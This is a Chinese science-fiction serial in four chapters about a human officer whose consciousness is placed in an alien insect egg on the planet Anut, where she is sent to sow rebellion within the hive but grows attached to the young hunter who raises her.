《阿努特纳斯》
1. 我们向黑暗窥视
阿努特星,未知地底处。
古老深邃的黑暗中,沉淀着细微的、窸窸窣窣的响动。洞穴顶上的石柱流淌下一滴液体,唤起阵阵贪婪的啃食声。死水般沉寂诡异的氛围,刹地被一声枪响击破!
“目标传输完成,快跑!”惊慌失措的脚步声响起,洞穴中回荡起阵阵激烈刺耳的枪声,那些沉眠已久的终于慢慢苏醒。
“请求支援,请求支援!这里是第二特遣小队,我们遭遇了敌人的猛烈攻击,需要紧急支援!重复……啊!”
接收器里传来虫群翅翼疯狂扑腾和密密麻麻的啃食声,“收到,请立即回报坐标,请立即回报坐标!”
远在M36星系外的蓝星总部的星际特遣处,指挥官急切地呼喊着,时间一分一秒过去,接收器传来的虫群撕咬肉块的吞咽声、啃食骨头的刺耳声越来越大、越来越大……,又渐渐低下去,陷入可怕的沉默。
他终于绝望地安静了。
祝吟辰摘下耳机,转向指挥官,她犹豫了一下,还是率先打破了总部的寂静,“AGPC星际研究部传来讯息,虫卵传输成功,正在分析研究,预计三天后让我们去接收。”
“知道了。”指挥官面如死灰,他突然想起来什么,又严肃地看着祝吟辰;“你这几天做好准备,不要过度劳神。”
“是。”祝吟辰向指挥官敬了个礼,目送他离去。
她清楚自己将面对的是怎样意义重大的任务。
现在是蓝星新元年第三代,自从人类耗尽蓝星上的资源,经历了漫长的自相残杀后,残余的人类们重新团结起来,他们在蓝星上唯一没有被污染过的地方合力建造了新的城市,命名为“联合城邦”。新的的统治者将目光转向宇宙星际,使用高度发达的科技和武器向外星寻求更多生存的资源……渐渐的,这里变得比以往更加繁荣发达。
人类在联合城邦的发展趋近稳定后,又建立了人类文明科技的最高决策机构——AGPC(文明聚集之地),向全宇宙宣传文明和道德。
然而这并不代表蓝星就会迎来新的和平。
下了夜班,祝吟辰走出总部大楼,坐上总部的公用车。
【滴——识别到乘客上车,请出示您的身份。】
她抬手晃了一下。
【识别通过,祝吟辰女士,您今日的公务权限还有3500点剩余,祝您乘车愉快。】
车辆悬起浮空,飞快地穿行过一条条街道,经过街上肆意打砸的人群,他们举着横幅,站在毁坏的公共装置上喊着口号,不知其中何人扔来一根钢管,车辆灵巧躲避过,在一片嗡鸣的警笛声中飞驰而去。
一切喧嚣都被甩在身后,又渐渐远去。祝吟辰微微仰头,轻靠椅背,望向车窗外灰蒙蒙的天空,那里没有一颗星辰闪烁,黑夜也被厚重的工业浮尘遮蔽。
她升起车窗,转过头不再看。
三日后,AGPC星际研究部传来讯息“虫卵分析完成,请于明日到总部大楼联合会议室处参加会议。”
“收到。”
祝吟辰揉揉太阳穴,这几天她一直在强迫自己去听那些虫群的叫声资料,熟悉翻译虫群的语言系统让她精疲力尽。AGPC原本计划通过使用这种系统来和虫群直接面对面交流,但很显然对方拒绝了,现在他们不得不采取一些更迂回的手段。
她走出房门,今天的会议是时候确定采用下一套方案了。
“此次行动,我们总共从阿努特星带回了部分声频信息和两个虫卵,”总指挥神情严肃,“经过AGPC星际研究部的分析,目前可知它们的成体外表与人类高度相似,但并非我们熟知的碳基生物,而是由一种阿努特纳星特有的元素组成,这方面需要我们未来到阿努特纳星做进一步调查研究。”
“我们保留了一个虫卵,又勉强催化出另一个的成体,分别保存在生化实验室和地下实验室,现在我们去见见它们的成体,”总指挥站起身,脸上扭曲出一种极度嫌恶的神情,“这种堕落邪恶的生物。”
总指挥走在队伍最前面,祝吟辰默默跟在队伍最后,走下一层层地下阶梯,拐过一个个冰冷阴暗的转角,地下走廊的尽头处,一扇白色大门出现在他们的面前,识别到来者们的身份,自动开启。
她往里看去,隐隐约约看到了密密麻麻的透明罐装机械装置,整整齐齐地布列着。
总指挥打开开关,地下实验室顿时亮堂起来,这里罐装着各种各样奇异的生物,无色无味的活性营养药剂灌装其中,在强制休眠中维持着它们的生命。
“它们全身都可以分泌出一种无色无味的的剧毒粘液,这些粘液可以用来捕猎,具有极强的麻痹和腐蚀作用。”
总指挥停在其中一个装置前面,打开开关,强制激活里面的生物,“这只的成体是只雌虫,各位都务必仔细看看,特别是你,祝少校,过来。”
队伍自觉地为她让开一条通道。祝吟辰走过去,仔细观察。里面的生物刚被惊醒,肉眼可见紧张地缩在角落里,微微发抖。
她全身呈人形,一头长长的黑发几乎遮掩了全身,只能大致看到外部复杂的外骨骼构造。外表覆有坚硬的铠甲,闪烁着未知金属的漆黑光泽,头上有一对细长的骨质触角,微微探动,,至于脸部和其他身体部分则遮藏在更阴暗的角落里,看不清。
为了看得更清楚一些,祝吟辰走近装置,里面的生物却更加地努力地往里缩。
她轻轻敲了敲牢笼。
只听一声异动,里面的生物突然朝她的方向猛扑过来,装置内的液体涌滚起剧烈的气泡,突如其来的撞击使得装置发出不妙的摩擦声,在场的人发出阵阵惊呼!祝吟辰却站立不动,她总算可以观察到更完整的结构了。
它的脸部和人类相似,有完整的五官和面部,双瞳漆黑深邃,虹膜却闪烁着奇异的斑斓星彩,犬齿如吸血鬼般锋利尖锐,耳部呈鱼耳般的环形构造;诡异的是,它的腹部中部纵向撕裂开一条口子,里面充满一圈圈可伸缩的利齿,可以隐隐约约看见缝隙间流动着透明的粘液;上肢肘部有锋利的镰刃,杀伤力十足;下肢纤长,如猎豹般的短小足部看起来可以帮助它跑得又快又稳;身后长着一条细长的金属质地尾巴,尾部的钩针疯狂甩动——看起来可以帮助它在高速的运动中保持平衡。
这全身充满着奇异外骨骼构造的生物,如同一个热纵于金属和血肉的狂热艺术家所创作出来的艺术品,看到它的第一眼,就能想象到它杀戮猎物的迅捷身姿。
毫无疑问,这是天生的猎者,想要和这种生物和平交流,人类需要足够谨慎。
祝吟辰退后两步,看向总指挥。
总指挥点点头,“今天就看到这里,各位务必跟随自己的部门稳定跟进计划,具体方案稍后会发给你们个人。”
“至于你,祝少校,”他看向祝吟辰,“跟我来,你的任务计划已经整理好。”
祝吟辰跟从总指挥走进机密会议室,四个大人物围坐在圆桌旁 ,空气充满肃穆的气氛,她微微颔首,沉默地站在总指挥身后。
“祝少校,”
“是。”
“你是这个计划的核心人物,”沙哑年迈的声音响起,“我们计划将你的意识系统和虫卵相连接,再将虫卵随机投放到阿努特星上,等待被雌虫拾起后,你就立即释放特殊的信号素,催化改变它的基因,使其自以为是新虫母,从而背叛虫母。”
声音顿了顿,砸了砸茶叶,“之后新虫母会带着你逃亡,你跟在它身边,做点小动作,让它被虫母抓住,这时你就立即发布所在坐标给我们,并退出意识连接系统,之后就是别的部门的事情了。明白吗?”
“明白。”祝吟辰挺直身体,显出专业的沉稳干练,仿佛一切尽在掌握。
“很好。”会议室里回荡起阵阵愉快的笑声。
“等我们可以和虫母坐下来好好谈谈,祝少校的功绩和前程将会是一片光明啊!”
“距离直升AGPC也不是难事。”
“不愧是无
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人区过来的人才,年少有为,祝少校实在是年轻人的榜样!”
……
祝吟辰走出大楼的时候已经是半夜两点,应付你推我往的职场奉承费了她不少时间,而她的身份还不允许她高效率地应付他们。
她抽出一只烟,点燃后又犹豫着放下,烟灰星星点点飘落,像一场遗憾的雨。
新的生活没有她想的那么轻松,在某种意义上,它更沉重。
自从她从无人区被特派到这里,她就时常感到空虚。以前她在最险恶的地方挽救生命,寻找人类残留的文明,为人类守卫最后的生机。而现在她留居在最繁华的城市,却要去毁灭他者的文明,带去恶的屠戮。
每当她路过那些反抗当局、摇旗呐喊的年轻人的时候,祝吟辰就感到一阵心的刺痛和迷茫。她真的如上层们所说的那样,是在为整个人类做好事吗?
走到公用车边上的时候,祝吟辰突然想回去看看那个奇异的生物,那个虫族。
【滴——识别通过】
打开开关,进入地下实验室,这里一片寂静。
祝吟辰走向装置,里面的生物——那只雌虫已经被重新强制进入休眠,但强大的意识使得她还勉强清醒着。一看到有人来,她艰难地蜷缩起身体。
不似先前无礼的锋利,祝吟辰温和地看着她的眼睛。
十多分钟的寂静后,气氛似乎缓和了一些。
“你现在感觉怎么样?”
雌虫没有对这句话做出回应,她慢慢舒张开身体,沉到装置底部,微微靠着机壁。祝吟辰看见她漆黑的长发散落,不禁想起深海浮游的冥河水母,她睫下的星彩平静地流转,全身的铠甲光泽黯淡,触角低垂着。
由于是被极短时间内勉强催化出来的虫族成体,所以身体的各项机能实际上还非常脆弱,特别是刚才的故作凶恶让她虚弱更甚。
祝吟辰知道,在星际研究部那群科技狂人的眼皮子底下,这只雌虫很快就会陷入生不如死的境地。
何况自己似乎也没有去管这件事的资格。
……
一个月后,一切计划所要求的准备已经布置好,包括祝吟辰在内,所有相关人员已经准备就绪。
明日,就是祝吟辰启程之时,此后她将一直休眠在舱体中,直到任务完成。
“报告。”
“请进……怎么是你,祝少校?”总指挥关闭面前的屏幕,脸上浮现关切的神情,“有什么还没准备好吗?”
“我来这里是希望可以申请,保留我方捕捉雌虫的生命,待到此次任务完成后,将其放归本星。”
总指挥站起来,在办公室里来回踱了几步,转过身,神情变得严肃,“祝少校,我希望你明白你的立场。”
“我明白,”祝吟辰面色平静,声音清朗干脆:“人类希望将自己的文明和繁荣带给星际外的虫族,作为主动的一方,我们必须向公众表白和平的态度,”
“作为即将与虫族明确沟通交流的第一人,我希望可以在这方面也做出一马当先的贡献,为人类造福。”祝吟辰直视对方的眼睛,态度坚定。
总指挥嘴唇蠕动了两下,说不出话来。
由于近些年来频繁发生下邦暴乱的事件,决定与阿努特纳星进行和平交流这件事是AGPC向外宣传正面形象的大新闻,主要是派去阿努特纳星的探测小队都有去无回,不好直接开战,不如先平息内乱。
先前派去的小队成员已经被宣传成为了“英勇牺牲的文明使者”,祝吟辰更是被塑造成“不畏艰险的文明炬手”,而不是偷偷摸摸去搞策反的特工。BC(脑共享互联网络)各大媒体和记者更是做好了“人类道德光辉感化外星异族”的报道,就等着祝吟辰凯旋归来时再抢一波祝吟辰独家报道的热度,做联合城邦拍马屁第一人。
明天就是计划开始的时候,祝吟辰是唯一的人选,至少在祝吟辰的嘴上不能出什么差错,先哄她一阵也是好的。
总指挥点了点头。
2. 它们就在此地
【舱体连接完成,意识正在连接】
接上装置,躺在舱体里,祝吟辰闭上眼睛,感受温暖的液体慢慢上升,漫过手臂、脖颈……覆盖过面孔。
一阵阵困意袭来,慢慢的,意识失重般沉入虚空……
【量子传输完成,已降落指定坐标。】
祝吟辰慢慢睁开双眼,她刚刚好像经历了一个世纪般漫长的沉眠,意识有些空白的茫然。
她晃头醒醒神,振作精神仔细观察周围环境。
这里已入夜了,周围是一片茂密的高大丛林,无数影子层层叠叠,仅有几束微弱的光线穿透过,勉强照亮一点点沉闷的黑暗。
不行,太黑了,看不清,必须出去。
然而她现在是一个虫卵的状态,祝吟辰努力蛄蛹了几下,虫卵才微微挪动了一厘米。
“可以重新投放坐标吗……”她喘口气,试图集中精神,联系总部。
丛林外突然传来一声轻微的异动,祝吟辰心中一惊,立即停止传输,屏息凝神。
窸窸窣窣的声音越来越近,周围的丛林摇曳,逐渐分开成几束,几只柔软的巨大触手探出,裹卷住周围的树干枝丫,不知名的巨物逐渐向上攀爬,分泌的粘液流淌,挂在树梢上,从高空中滴落下来,一股股汇聚成泊。
随着巨物的动作,周围的视野也逐渐开阔起来,天空降下诡异的红光,庞大地打在漆黑夜幕上,周围的事物也泛上了一层瘆人血色。
祝吟辰感到全身难受地粘稠,地上的粘液漫延,天上滴落的又打在身上,流下斑驳湿滑的痕迹。
一声短促的叫声穿过丛林,电光火石间,一个矫健的黑色身影杀进丛林,飞掠过她身边,猛扑上树,树木连同周围的植被都激烈地摇晃起来,风声乱窜,铮铮地鼓动。
祝吟辰听到高空中传来利爪撕扯皮肉和巨物愤怒低吼的声音,然后是温暖的液体喷溅到她身上,无数血肉在高空扑簌簌地掉落下来,四周渐渐泛起诡异的香气,愈发浓烈起来。
祝吟辰被这股味道迷得头晕目眩,她感到自己正在被混合的血液和粘液轻轻托浮起。
……
不知道这场骇人的厮杀持续了多久,周围逐渐安静下来。黑色身影慢慢降落下树,跌跌撞撞地晃荡两步,一头栽倒在血泊中。
借着天上的红光,祝吟辰终于看清了来者——是个年轻的雌虫,腹部还咬着一块肉,身上密密麻麻的伤痕触目惊心,头上的触角断了半根,黑色短发被血色侵染,面色灰白,双眼紧闭,一动不动,显然她已经昏死过去。
虫族,雌性,这两点已经足够符合目标的条件了,虽然不敢确定她是否会苏醒,但是这是祝吟辰找到新虫母的唯一机会。
祝吟辰努力漂到雌虫身边,一边释放出虫卵里注射的催化剂,一边努力沾染雌虫的气息。接下来未知的时间里,她都将和这个雌虫度过。
等待雌虫苏醒的这几天。祝吟辰一直待在雌虫身边,白天用来仔细观察雌虫的状态和周围的生态环境,夜晚就默默睡觉,绝不发出一点声响。
这里的白日跟地球比要更加炎热一些,暖白色的天光普照四方,将一切晒得滚烫,雨水也格外充足,夜晚则显得诡异许多,天上的一轮血红高悬夜幕,再无其他星辰,一切事物蒙着一层血色,死寂又冰冷,只能听到未知的巨物发出窸窸窣窣的声响。
祝吟辰知道那不是月亮,但正因如此,她总觉得天上那红色的一轮格外可怖。
血色的天光出现又消逝了五次,这天清晨时分,雌虫的触角微微颤动。
祝吟辰看着她的身体慢慢有了动作,心中感到激动的欣喜,太好了,她还活着!
雌虫的身体慢慢舒张开,她睁开眼,发现自己躺在一片干涸的血泊中,周围植被高高低低挂着腐烂的皮肉,而且……身边有一个虫卵。
祝吟辰看见雌虫那双五彩斑斓的眼睛微微张大,动作明显顿了顿,然后自己被立即揽进一个怀抱里。
雌虫紧张地看看周围,一片安静。
她微微放松,低头看了一眼祝吟辰。“这是,我的卵吗?”
祝吟辰听到耳机里翻译的雌虫的话,不禁为这些天苦练翻译系统的第一次实际应用感到欣喜。
真是没白练啊,终于要和真正的虫族交流了。
地面突然传来远处的震动,雌虫一惊,一把抓出腹部的血肉,迅速把祝吟辰塞进去。
她要我,看来催化剂起作用了。祝吟辰心想,近距离观察起腹中围绕着她的一圈圈尖牙利齿。
雌虫身上的伤还没好完全,她勉强站起来,探动触角,向丛林外围一瘸一拐地走去。远处大地的震颤声来源顿了顿,直接向她所在的方位奔来。
地面的震动越来越近,在雌虫身旁停住,雌虫翻身跨上这比她大两倍的姐妹,俯身低语:“安提就在此地,猎杀已经结束,我将回归菌群。”
原来她的名字是安提,祝吟辰默默记住了这条信息。
快近天上红光降下时,她们终于到达了目的地——菌群。
一片平坦广袤的沙地,中央鼓起一个巨大的透明半球体,遮挡了远处的山脉和一半的天空;球体表面是几何切割的镂空结构,天上的光线被切割成密密麻麻的格子,照射其中;菌群的第一层居于地表,是空旷的大厅,四周的出口沿球体呈环状分布,雌虫们各司其职,有序地进出;大厅地板下直通地底,无数的通道交缠在一起,通向各种各样的地方;再下一层则是更黑暗潮湿的地方,也是菌群的核心——菌落培养基地和肉类储存基地,这里是虫群们最主要的食物来源;最后一层则是菌群主人的住处。
安提进入大厅,从属于自己的通道里回到房间,将祝吟辰藏好,然后匆匆离开,她要先去向恩基报告捕猎的情况。
但恩基已经来了,安提一关上门,转头就撞进恩基关切的眼神,又被轻轻揽入一个温暖的怀抱。
“安提啊,五个夜潮的涌起才将你唤醒,我比风更急切期盼你的回归,若有伤痕就不要掩藏,让我为你驱除一切伤痛。”
恩基松开手,温柔地整理好安提的头发,又轻轻抚摸安提断掉的触角。
她身形纤长,漆黑如夜幕的长发铺满整个身体和地面,头上的两根细长触角高高扬起,蛇目半阖,长睫下掩着两点猩红
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的光——这是菌群掌权者的象征,整个虫群最主要的食物来源由她掌握。
实在没有拒绝恩基的理由,安提犹豫了一下,只好乖乖打开门。
“请治愈我吧,为阿努和菌群狩猎是我应尽的义务。”
……
祝吟辰藏在床底下,隐隐约约听见她们的谈话,大致猜测出阿努是虫群的自称、恩基的尊贵地位和两人……不,两虫的上下级关系。
虽然虫族与人类一样有着严格的等级制,但两者的构成似乎不太一样,而且虫与虫之间的关系要更亲密和谐。
可能是因为大家都有一个共同的母亲吧,祝吟辰想。
恩基为安提涂抹好疗伤的油脂后,又关切了几句便关门离开。等到脚步声远去,安提翻身下床,轻轻趴在门上听,直到确定脚步声已经远去。
她一瘸一拐地走到床边,从床下掏出卵,仔仔细细地看着它,又用触角急急地探嗅。
卵有着自己的气息,确实是自己的卵没错,但为什么只能生下一个?安提感到困惑又焦躁,还有……一种微妙的满足感。
“你的名字叫伊塔。”安提低声对虫卵说。
“是。”作为卵,祝吟辰说不出话,她只能在心里默默回应。
……
安提在屋子里躺了整整十天。
真是一个好上司啊,祝吟辰心想。
她躲在床底下,每天都能看到黑色如蛇瀑般垂落的长发从屋外蔓延到床边的小凳上,过了十多分钟后,又不紧不慢地离开。
每一天恩基都会抽时间过来探望安提,有时候带来疗伤的油脂,有时候带来大补的奇异药草,对于菌群中的每一个下属,她总是满怀关心和爱护,尤其是安提这样强悍的年轻阿努。
“伊塔。”等到恩基离开后,安提总要低唤一声。
“我在。”祝吟辰总在心中默默回应。
十天后,安提的身体已经完全好转了。她每天天刚初亮就出门,深夜则往往挂着一身恐怖的血糊肉浆回来,小心翼翼地关上门后,从床底下抱出卵,安静地盯着看。看够了,就去洗澡吃饭,然后把卵放进腹部,蜷缩起身体睡觉,天亮后,又把卵藏进床底。
而这几天,由于不得不长时间躺在一个地方,祝吟辰睡眠的时间非常不规律,她半夜醒来连上意识系统时,常常会被安提狂热的眼神吓一跳。
如果醒来的时候安提已经睡下了,她就无聊地数一会安提的心跳,直到自己也睡着。
还要多久才成为幼虫?祝吟辰迫切地想活动了,天天待在床底下,行动受限,实在太闷。
“伊塔……”
在叫我吗?祝吟辰微微吃惊,没想到虫族也会做梦啊,虫族的梦会是什么样子呢?
“为了阿努的荣耀……”
祝吟辰突然感到一种奇妙的连接,虽然身在腹中,看不见安提的神情,但她想给她一点回应。
趁着还清醒,她闭上双眼,浸没在卵壳内温暖的粘液中,感受着安提腹部的体温,伴着黑暗处心跳的鼓动声,内心轻轻吟唱起家乡的曲调。
两个异族生物相伴着沉沉睡去。
3. 唱起深渊曲
“嘶,什么东西……”
祝吟辰迷迷糊糊地翻了个身,艰难地睁开双眼,看到了安提床底下里的景象;看不懂用途的外骨骼装置、一堆稀奇古怪的花花草草、灰色的地板……一堆杂七杂八的东西。她正要本能地伸手去扒开,才惊觉有什么发生了变化。
她终于孵化成幼虫了。
距离安提带伤回归菌群已经过了一个月左右的时间,期间没有发生什么特殊的事情,一切都如常有条不紊地进行着。
但祝吟辰知道,她必须要把这里搅个天翻地覆,目前的目标是教唆安提下定反叛虫母的决心,在此之前,一定要先熟悉环境和安提本虫。
小心翼翼地蛄蛹出床底,看向床上,安提已经出去了,旁边的桌子上有一杯水。
“我得知道我现在是什么样子吧。”
祝吟辰心想。她努力地调动自己的四肢,发现自己居然可以飞起来,喜不自胜。
她飞到杯子旁边,看到自己的倒影——拳头大小的一个圆球,身体呈金属色泽,质地看起来非常坚硬,背后有一对透明小翅膀,无声地快速扑闪着,一对黑豆大小眼睛老老实实地看着自己。
……挺可爱的。
祝吟辰意外地笑了一下,虽然看起来似乎缺少了点杀伤力,但是悄悄跟着安提打探情报、收集资料还算实用,很适合特工的身份。
她环绕房间飞了一圈,整个房间呈现灰白的基调,这里没有窗户,只有天花板上有一个通风口,房间的布置非常简朴实用,一些四通八达的管道贴着四面的墙,不知连通何处。
感到有点饥饿,祝吟辰决定保存体力,爬回床底等安提回来。
躺了一会,她又纠结起来。
呃……等一会儿,她要怎么称呼安提呢?
夜潮涌起时,安提回来了。她照常血淋淋的一身,照常兴奋异常地去翻床底,没掏到,一惊,慌忙地去看床底,一虫一人大眼瞪小眼。
……这一声妈,祝吟辰实在叫不出口。
为了人类的荣光!她狠狠心正欲开口,安提一把把她捞起来揣在怀里,仔仔细细地看她。
她真的很年轻。
祝吟辰看着这个浑身血腥气的雌虫,即使是不同的物种,她也能从她好奇的眼神、好动的触角和健康的体魄、甚至时不时有些莽撞,但是小心翼翼的温情的举止里,感受到这个阿努热情奔放的生命力,如一腔热血般滚烫,令人备受鼓舞。
其他的阿努,也是这样生机盎然的吗?祝吟辰忍不住想。
“伊塔,”安提率先开口,“你的身体已允可你言语了,告诉我,可还记得你的名字?”祝吟辰回过神来,“记得。”
“很好,”安提高兴地笑了,“从今天开始,你要跟随我,听从我,尽你的义务。”
“是。”安提又看了祝吟辰一会儿后,起身离开,祝吟辰看见安提在一条管道上操作了几下,管道里就流出了什么,安提用平整的盘状叶片接住,端过来。
“吃吧,伊塔,这是我们主要的食物。” 祝吟辰凑近,叶片上盛着一种深绿色的糊状物,但看起来并不恶心,闻起来还有一股说不出来的草木香气。
……应该挺好吃的。
安提微笑看着祝吟辰吃下菌落,“你要学习的东西还有很多,今后要跟我一起,四处行走。”
“……是。”对于这种命令式的交流,祝吟辰憋不出别的话。
明天,就可以开始探查菌群的信息了。
……
天光初亮,祝吟辰在安提的腹中醒来,安提已经外出了,她总是独自行动,冲在猎场的最前沿,为大家开辟安全的采集点。
“吃吧,伊塔。”四处没有别的阿努,安提轻轻张开腹部,手上放着一些菌落。
祝吟辰探出头,飞快地吃完,觉得气血足了很多。她飞出安提的手心,环视周围。
这里是一片茂密的高大丛林,到处都是不知名的草木,天光还未照到深处,远处黑糊糊的一团,看不清什么模样。
奇怪的是,前方的空气亮晶晶的,闪得虫眼花缭乱,她一抬头,原来是高空的几株巨大的花朵张开了,各色花粉随着风四处飘扬,暖白的天光一打,周围的色彩顿时生动起来,空气里似有油彩飘逸流动,有种童话书里的美感。
……真是奇妙的景象,奇妙的生态。
安提笑着伸出一根指头,点点看得入迷的小小阿努,“一切应我们所有,不必迷失其中。”
……这是不要看呆了的意思吗?祝吟辰回过神来,问到:“我们今天要去做什么?”
“狩猎。”安提转过身,双手叉腰望向远方,露出骄傲的神情,“用最新鲜的血肉去赞颂生命!”
……这也是年轻人特有的活力吗?祝吟辰感觉一阵头皮发麻,她飞到安提肩头,尝试模仿阿努的腔调:“是,您……去往处皆我心所向。”
在这里找到猎物并不难,安提带着祝吟辰以惊人的速度飞掠过一片片丛林,路过了无数或是高大矮小、或是五彩无色的奇异生物。
安提每路过一段距离,就会在经手的草叶或是树干上飞快地抹上她的血液——无色无味的剧毒液体。
“这是在干什么?”
“标记猎场范围,伊塔。”
直到看到前方五颜六色的混沌的一团,安提才停下来,她抓住一端枝头,灵巧上翻,站定,冷冷地盯着树冠下方的猎物——一只巨大的漂浮兽。
那是只形似水母的生物,三个成人般大小,看起来全身本来是透明的,但此刻正沐浴在地面上难得照进来的一格阳光下,几根巨大的触手携取着空气中飘洒下来的花粉,吃得身体五颜六色的一团。
晶莹剔透的粘液颗颗滑落滴在地上,空气中折射泛起一圈圈彩虹色的光晕,波澜起伏,格外闪耀夺目。
这样美丽的奇异生物,在这片陌生的土地上生机勃勃地活着。
祝吟辰已经很久很久没有看到活的动物了,事实上,在无人区的那段日子也只是让她多见了一些动物在污染下苟延残喘的样子而已。它们活蹦乱跳的样子仅仅是存在于数据库里的东西,那些更真实的东西并不存在,它们的皮肤的质感、呼吸的节奏、跑动起来的样子是如此冰冷、如此陌生。
而现在,她在遥远的星际之外,重新获得了可以得到这种鲜活体验的权利。
祝吟辰心中感到一种遥远的震撼,好像第一次在灵魂最深处的地方长长地舒出一口气。
她侧过头,
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看到安提脸上露出一种专注的、冷漠的神情,她双唇紧抿,瞳孔微微放大,透出凛冽的杀意。
“伊塔,待在这里,仔细看清。”
腰腹微弓,她准备好了。
看准猎物张开下腹口器的时机,安提曲肘交叉,纵身向下俯冲,几声风里“铮”的微响,猎物的两三条触手落下地来,安提回身站定,甩落肘镰的粘液。
猎物回过神来,几条触手高高扬起,恶狠狠地抽下,安提灵巧地侧身躲过,脸上露出戏谑的笑意。她抓住一条触手,利爪猛地向后撕扯,掀开的皮肉如节日礼炮般炸裂飞出,猎物的□□因为极度的痛苦而扭曲颤抖,底部口器发出一声哀嚎——就是现在!她果断飞身冲杀进去,猎物触电般哆嗦了两下,头颅裂开了交叉的两道,水花般晶莹剔透地爆裂开来。
祝吟辰看着透明粘液里脱出的安提,她站在荡开来的一圈圈涟漪里,微笑着向她招手。
“伊塔,我所要做的,你也要做到。”
“是。”
与其说是学习,不如说是更像是一场观赏,祝吟辰暗暗心想,她飞到安提肩头,稳稳落定。
“我们接下来要怎么做,靠你一个把它搬回去吗?”
“不,”安提把祝吟辰轻轻托到手心里,放进腹部,“那是拉姆的职责,拉姆有建筑的义务,又有收集的义务。”
“我想看看。”
天色渐红,夜潮将至。
安提走在回菌群的路上,腹部张开一道细细的口子,里面的祝吟辰用一双黑豆小眼向外窥视,看见一些前所未见的阿努向安提刚刚捕猎的地方跑去。
她们身似人形,高大魁梧,四肢健壮,跑得又快又稳,全身都裹在厚重结实的铠甲里,上面流动着奇异的粉色光泽;头部几乎是完全的外骨骼结构装置,顶上有一对短小的骨质触角,只露出下半张脸,连眼部也覆着一层外骨骼,一条漆亮的白线横穿过,似乎是她们的眼睛,可以帮助她们全方位看清四周情况。但是很显然,她们身上没有什么杀伤性的身体构造。
看来她们就是拉姆了,不过,都是阿努,为什么要把她们单独拎出来称为拉姆呢?
现在不方便问,回去再说吧。
祝吟辰心想,把前倾的身子往后缩了缩,重新躺入一圈圈尖牙利齿中。
……
回到家后,祝吟辰把问题向安提复述了一遍。
“正如恩基领导菌群一样,拉姆负责领导地启。”安提刚刚洗好澡,擦擦身上的水珠,“不同的是,恩基只有一个,但拉姆可以是地启里的任何一个阿努,她们中的任意一个都可以随时随地成为新的领导者,有着非常强的即时组织能力。”
“菌群负责我们的食物来源,地启负责建筑和运输。”
原来如此,阿努的分工明确有序,她们形成不同的部门后,有各自的职业名称。
“上次你昏迷过去后,来接送你的是另一种阿努吗?”
“是的,她们是大颚,由骄傲的伊南娜领导,负责巡视和护卫。”
祝吟辰正想继续问下去,安提却用盘子接了一些菌落,又在另一个管道里掏出了一些碎肉,递到祝吟辰面前。
“吃吧,伊塔,你要知道的还有很多。”
4. 她从沙中来,跳起战时舞
一连几天,安提都带着祝吟辰出门狩猎。
“这样挥动你的肘镰,不仅可以躲过正面攻击,”安提纵身一闪,反身挥斩向“空气猎物 ”,“还可以撕裂猎物的腰身。”
“记住了吗?”
“记住了。”
天气有些炎热,安提站定,晃晃头醒神。
她们正处在一片沙漠中,天光亮的刺目,晒得空气滚烫,地面上全是金黄的砂砾,白烟四起,偶然一阵大风刮过,扬起阵阵沙尘。
“我们什么时候可以见到伊南娜?”
祝吟辰得到的关于大颚的资料不多,追问了好几次安提,对方只一遍遍回应“你的时间很长很长,你想见的都会见到”。
阿努的势力到底分成几股,对于人类来说至关重要。
“伊塔啊,切莫急躁,你将到达的,即你向往的。”
安提张开腹部,“进来吧。”
二虫继续向前。走了不久,远处传来一阵阵沉闷的震动,如同安提获救那次一样,安提脚下的地面微微摇晃,大大小小的砂砾跳起,她停住,看向传来震动的方向。随着震动的动静越来越大,祝吟辰在腹部缝隙间隐隐约约看见地平线处出现一个黑色的庞然大物,然后逐渐清晰。
她看见一群黑压压的巨物声势浩大地走过来,为首的那一只尤其高大威猛。她们的身体分为三节,长着三双粗壮锋利的足刃,每走一步就在地上留下深深的刀痕;尾部翘起两条毒针,不耐烦地左右甩动,鞭起周围阵阵沙尘;背部隆起,头部凸起巨大的角突,三双眼睛并排发布在头部两侧,时刻警惕看着周围;最令人不寒而栗的是那一对削铁如泥的大颚,足足占了头部的三分之一,如同两把巨人使的刀斧,锋芒逼人,表面染了淡淡的腥红。
随着对方的一步步逼近,祝吟辰的视线被一片阴影笼罩——那双可怕的大颚就悬在她和安提上方!
“在等我?”
伊南娜高高骑在大颚身上,她身形健壮,一身铠甲黑中透红,肘镰也格外巨大骇人,一双虎目亮得惊人,笑得嚣张,头部铠甲下压着的一头赤色卷发威风凛凛地抓向四周,额上粗长的独角高高挑起,和她的主人一样目空一切。
祝吟辰只感觉周身被一股强势的威亚镇住,心底徒然生出几分寒意。不像安提一样看上去就是个身手迅捷的猎手, 伊南娜能让人瞬间感受到她那独有的、不可一世的力量——她生来便要统治一切。
“我在这里,阿努萨。”
安提仰着头,面上带着礼貌的微笑。
“安提,”伊南娜下巴微微扬起,斜斜地向下藐视,唇角勾起一抹弧度,,仿佛一切尽在掌握,“你从死亡中苏醒,让我格外担忧。”
“近来恢复得怎么样?”
“每天都有生命从我手下逝去,我恢复得很好。”
“很好,”伊南娜慵懒一笑,收回视线,“是我熟悉的安提。”
天色已近赤红,四周景象染上一片淡淡的血色,远方传来不知名生物归巢的鸣叫声。伊南娜带着大颚们离开,走了一段距离后,伊南娜的背影随手一招,“索拉娅,向你救助的朋友打个招呼!”
大颚中的一头发出低沉的吼叫。
安提看着大颚们远去,直至消失在视线中。祝吟辰敲了敲腹内的牙齿,示意让安提打开腹部。但安提没有理睬,她径直奔向菌群,一路上不发一言。
……
回到家后,安提才把祝吟辰放出来。
“那个伊南娜似乎不好相处。”祝吟辰趴在床上,观察安提的脸色。
“骄傲的伊南娜,是纳姆最宠爱的女儿。”安提拿出盘子,给祝吟辰和自己打饭,低声吟唱:“伊南娜,那不可摧毁的,你有能力摧毁;那不可建立的,你有能力建立。”
纳姆?这个名字让祝吟辰的紧绷的神经一跳,听到安提口中发出关于这个名字的韵律的一瞬间,时间似乎迟滞了一秒,然后视线里的一切开始融化、燃烧,眼前的传译屏幕故障失灵,显示出一串串乱码。耳鸣渐起,巨大的回响在脑仁里撞击、回荡,她感觉全身心仿佛被一股莫名的力量笼罩,每一寸肌肤都透着不自在,心中焦躁如蚁噬,情绪和思绪变得变得模糊而混乱,如同密密麻麻的火焰在旋转、跳跃。
周围的一切似乎被一股诡异的色彩所扭曲,原本熟悉的景象变得陌生而诡异,空气中弥漫着一种古老的、腐败的气息。
“纳姆是什么?”祝吟辰有点呼吸不过来,她闭上眼睛,大口大口喘着粗气问。
